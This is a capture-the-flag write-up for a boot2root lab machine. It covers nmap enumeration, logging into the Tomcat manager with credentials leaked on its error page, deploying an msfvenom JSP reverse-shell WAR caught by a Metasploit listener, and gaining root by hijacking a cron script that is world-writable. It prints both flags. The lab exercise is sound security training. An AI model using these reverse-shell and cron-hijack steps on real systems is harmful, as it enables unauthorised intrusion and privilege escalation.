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boot2root machine for FIT and bsides guatemala CTF

read user.txt and root.txt

#1 - user.txt

Nmap discovers 3 ports, 1 of being an Apache Tomcat application, on port 8080:

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is no robots.txt file, but a dirsearch scan revealed the presence of a /manager directory.

Connecting to it requires an authentication, but credentials are revealed on the following page:

$ curl -i
HTTP/1.1 401 
Cache-Control: private
Expires: Wed, 31 Dec 1969 16:00:00 PST
WWW-Authenticate: Basic realm="Tomcat Manager Application"
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 2473
Date: Mon, 29 Jun 2020 18:03:37 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "">


</html>&lt;role rolename="manager-gui"/&gt;
&lt;user username="tomcat" password="s3cret" roles="manager-gui"/&gt;



Let’s connect to the manager using tomcat:s3cret. From here, we have a page that allows us to:

  • Manage applications (start, stop, undeploy)
  • Upload new applications (via a war file)

Let’s use msfvenom to make a JSP reverse shell in a war file:

$ msfvenom -p java/jsp_shell_reverse_tcp lhost= lport=4444 -f war -o shell.war
Payload size: 1090 bytes
Final size of war file: 1090 bytes
Saved as: shell.war

Now, open a listener in Metasploit:

$ msfconole -q
msf5 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
payload => java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost
lhost =>
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 
msf5 exploit(multi/handler) > 

Back to the manager, upload shell.war (it will automatically deploy it to the server) and from the applications list, click on the link (it will redirect you to /shell). You should get a reverse shell in msfconsole.

[*] Command shell session 1 opened ( -> at 2020-06-30 07:42:41 +0200

msf5 exploit(multi/handler) > sessions 

Active sessions

  Id  Name  Type              Information  Connection
  --  ----  ----              -----------  ----------
  1         shell java/linux      -> (

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

SHELL=/bin/bash script -q /dev/null
[email protected]:/$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
[email protected]:/$ cat /home/jack/user.txt
cat /home/jack/user.txt
[email protected]:/$ 

User flag: 39400c90bc683a41a8935e4719f181bf

#2 - root.txt

Notice that there is a crontab run by root every minute, that executes script located in jack’s home:

[email protected]:/home/jack$ cat /etc/crontab   
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash

The script outputs the result of the id command to test.txt, and the file is writeable to the world.

[email protected]:/home/jack$ cat
id > test.txt

Let’s modify the script so that it reads the root flag instead:

[email protected]:/home/jack$ printf '#!/bin/bash\ncat /root/root.txt > test.txt' >
<rintf '#!/bin/bash\ncat /root/root.txt > test.txt' >                  
[email protected]:/home/jack$ cat
cat /root/root.txt > test.txt

After a short while, the test.txt file contains the root flag.

[email protected]:/home/jack$ cat test.txt  

Notice that we could do much better here, and take advantage of the fact that the script is executed by root to create a new user, and grant the user root privileges. However, as our intend is to get the root flag only, that should be enough.

Root flag: d89d5391984c0450a95497153ae7ca3a